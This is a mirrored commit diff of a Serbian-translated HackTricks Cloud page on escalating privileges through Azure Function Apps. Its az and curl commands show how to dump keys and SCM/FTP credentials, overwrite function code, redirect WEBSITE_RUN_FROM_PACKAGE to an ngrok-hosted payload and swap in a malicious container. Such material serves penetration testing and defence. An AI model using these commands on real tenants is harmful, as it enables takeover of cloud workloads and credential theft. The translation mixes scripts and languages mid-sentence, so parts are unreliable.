mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Proverite sledeću stranicu za više informacija:
|
||||
Pogledajte sledeću stranicu za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,26 +12,26 @@ Proverite sledeću stranicu za više informacija:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite kontejnere** (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati **kod koji izvršava funkcija**.
|
||||
Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**.
|
||||
|
||||
Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.
|
||||
Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.
|
||||
Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function.
|
||||
|
||||
Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od
|
||||
Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu.
|
||||
Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
|
||||
|
||||
Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:
|
||||
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**.
|
||||
Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**.
|
||||
|
||||
Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
|
||||
```bash
|
||||
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Ova konfiguracija obično sadrži **SAS URL za preuzimanje** koda iz Storage Account-a.
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner **`scm-releases`**. Tamo je moguće pronaći najnovije izdanje u **Squashfs filesystem file format** i stoga je moguće pročitati kod funkcije:
|
||||
Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`**, u JSON fajlovima koje tamo možete pronaći.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
|
||||
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa:
|
||||
Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:
|
||||
Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -130,70 +130,91 @@ az rest --method GET \
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
# Python function app example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
I da **promenite kod koji se izvršava** u funkciji sa:
|
||||
I da **izmenite kod koji se izvršava** u funkciji sa:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
## Python function app example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
|
||||
# NodeJS function app example
|
||||
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||
--data-binary @/tmp/index.js \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:
|
||||
Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Pozovite funkciju koristeći podrazumevani ključ koji ste dobili:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa:
|
||||
Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa:
|
||||
Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!
|
||||
> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:
|
||||
Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Koristi ključ:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
|
||||
# Ejemplo: Acceso a Event Grid webhooks
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**.
|
||||
Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koja sadrži **ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) sa:
|
||||
Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije.
|
||||
Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije.
|
||||
|
||||
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije:
|
||||
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije:
|
||||
|
||||
- Počnite tako što ćete dobiti trenutnu konfiguraciju
|
||||
- Počnite tako što ćete preuzeti trenutnu konfiguraciju
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte.
|
||||
- Napravite kod koji želite da funkcija izvršava i javno ga hostujte
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -203,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod.
|
||||
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod.
|
||||
|
||||
Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
|
||||
U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke):
|
||||
Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -223,10 +244,29 @@ az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
|
||||
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||
az rest --method PUT \
|
||||
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||
--resource "https://management.azure.com/" \
|
||||
--headers "If-Match=*" \
|
||||
--body 'module.exports = async function (context, req) {
|
||||
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||
|
||||
const name = (req.query.name || (req.body && req.body.name));
|
||||
const responseMessage = name
|
||||
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||
|
||||
context.res = {
|
||||
// status: 200, /* Defaults to 200 */
|
||||
body: responseMessage
|
||||
};
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže **basic auth credentials**:
|
||||
Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:
|
||||
Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Ako su **REDACTED** akreditivi
|
||||
- Ako su kredencijali **REDACTED**
|
||||
|
||||
Ako vidite da su ti akreditivi **REDACTED**, to je zato što **morate omogućiti SCM osnovnu opciju autentifikacije** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -264,7 +304,7 @@ az rest --method PUT \
|
||||
```
|
||||
- **Method SCM**
|
||||
|
||||
Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima za SCM URL** vaše funkcijske aplikacije i dobiti vrednosti env varijabli:
|
||||
Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -275,13 +315,13 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Napomena da je **SCM korisničko ime** obično karakter "$" praćen imenom aplikacije, tako da: `$<app-name>`._
|
||||
_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$<app-name>`. _
|
||||
|
||||
Možete takođe pristupiti veb stranici sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
Takođe možete pristupiti web stranici na `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.
|
||||
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om.
|
||||
|
||||
- **Metoda FTP**
|
||||
- **Method FTP**
|
||||
|
||||
Povežite se na FTP server koristeći:
|
||||
```bash
|
||||
@@ -297,19 +337,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Napomena da je **FTP korisničko ime** obično u formatu \<app-name>\\$\<app-name>._
|
||||
_Imajte na umu da je **FTP username** obično u formatu \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS:
|
||||
Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije.
|
||||
Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije.
|
||||
|
||||
Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili:
|
||||
Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje).
|
||||
Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):
|
||||
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.
|
||||
Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet.
|
||||
Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Remote Debugging
|
||||
### Daljinsko otklanjanje grešaka
|
||||
|
||||
Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.
|
||||
Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije.
|
||||
|
||||
Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:
|
||||
Moguće je proveriti da li Function ima omogućeno debugovanje pomoću:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Imajući dozvolu `Microsoft.Web/sites/config/write`, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
|
||||
Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Promena Github repozitorijuma
|
||||
|
||||
Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
|
||||
Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi.
|
||||
Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
|
||||
Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user